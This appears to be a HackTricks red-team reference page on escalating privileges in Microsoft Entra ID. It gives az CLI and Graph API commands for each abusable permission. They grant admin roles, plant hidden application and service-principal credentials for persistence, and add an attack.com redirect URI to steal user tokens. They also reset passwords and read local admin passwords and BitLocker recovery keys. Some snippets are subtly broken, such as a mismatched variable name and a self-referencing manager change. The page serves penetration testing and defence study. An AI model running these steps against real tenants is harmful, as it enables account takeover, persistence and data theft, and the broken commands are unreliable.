Az - EntraID Privesc
Reading time: 11 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
note
Note that not all the granular permissions built-in roles have in Entra ID are elegible to be used in custom roles.
Roles
Role: Privileged Role Administrator
This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges.
- Assign role to a user:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- Add more permissions to a role:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
Applications
microsoft.directory/applications/credentials/update
This allows an attacker to add credentials (passwords or certificates) to existing applications. If the application has privileged permissions, the attacker can authenticate as that application and gain those privileges.
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
This allows the same actions as applications/credentials/update
, but scoped to single-directory applications.
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
By adding themselves as an owner, an attacker can manipulate the application, including credentials and permissions.
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
An attacker can add a redirect URI to applications that are being used by users of the tenant and then share with them login URLs that use the new redirect URL in order to steal their tokens. Note that if the user was already logged in the application, the authentication is going to be automatic without the user needing to accept anything.
Note that it's also possible to change the permissions the application requests in order to get more permissions, but in this case the user will need accept again the prompt asking for all the permissions.
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
Service Principals
microsoft.directory/servicePrincipals/credentials/update
This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.
az ad sp credential reset --id <sp-id> --append
caution
The new generated password won't appear in the web console, so this could be a stealth way to maintain persistence over a service principal.
From the API they can be found with: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
If you get the error "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."
it's because it's not possible to modify the passwordCredentials property of the SP and first you need to unlock it. For it you need a permission (microsoft.directory/applications/allProperties/update
) that allows you to execute:
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
Similar to applications, this permission allows to add more owners to a service principal. Owning a service principal allows control over its credentials and permissions.
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
caution
After adding a new owner, I tried to remove it but the API responded that the DELETE method wasn't supported, even if it's the method you need to use to delete the owner. So you can't remove owners nowadays.
microsoft.directory/servicePrincipals/disable
and enable
These permissions allows to disable and enable service principals. An attacker could use this permission to enable a service principal he could get access to somehow to escalate privileges.
Note that for this technique the attacker will need more permissions in order to take over the enabled service principal.
bashCopy code# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials
& microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
These permissions allow to create and get credentials for single sign-on which could allow access to third-party applications.
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
Groups
microsoft.directory/groups/allProperties/update
This permission allows to add users to privileged groups, leading to privilege escalation.
az ad group member add --group <GroupName> --member-id <UserId>
Note: This permission excludes Entra ID role-assignable groups.
microsoft.directory/groups/owners/update
This permission allows to become an owner of groups. An owner of a group can control group membership and settings, potentially escalating privileges to the group.
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
Note: This permission excludes Entra ID role-assignable groups.
microsoft.directory/groups/members/update
This permission allows to add members to a group. An attacker could add himself or malicious accounts to privileged groups can grant elevated access.
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
This permission allows to update membership rule in a dynamic group. An attacker could modify dynamic rules to include himself in privileged groups without explicit addition.
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
Note: This permission excludes Entra ID role-assignable groups.
Dynamic Groups Privesc
It might be possible for users to escalate privileges modifying their own properties to be added as members of dynamic groups. For more info check:
Users
microsoft.directory/users/password/update
This permission allows to reset password to non-admin users, allowing a potential attacker to escalate privileges to other users. This permission cannot be assigned to custom roles.
az ad user update --id <user-id> --password "kweoifuh.234"
microsoft.directory/users/basic/update
This privilege allows to modify properties of the user. It's common to find dynamic groups that add users based on properties values, therefore, this permission could allow a user to set the needed property value to be a member to a specific dynamic group and escalate privileges.
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
Conditional Access Policies & MFA bypass
Misconfigured conditional access policies requiring MFA could be bypassed, check:
Az - Conditional Access Policies & MFA Bypass
Devices
microsoft.directory/devices/registeredOwners/update
This permission allows attackers to assigning themselves as owners of devices to gain control or access to device-specific settings and data.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
This permission allows attackers to associate their account with devices to gain access or to bypass security policies.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
This permission allows attackers to read the properties of the backed up local administrator account credentials for Microsoft Entra joined devices, including the password
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
This permission allows to access BitLocker keys, which could allow an attacker to decrypt drives, compromising data confidentiality.
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
Other Interesting permissions (TODO)
microsoft.directory/applications/permissions/update
microsoft.directory/servicePrincipals/permissions/update
microsoft.directory/applications.myOrganization/allProperties/update
microsoft.directory/applications/allProperties/update
microsoft.directory/servicePrincipals/appRoleAssignedTo/update
microsoft.directory/applications/appRoles/update
microsoft.directory/applications.myOrganization/permissions/update
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.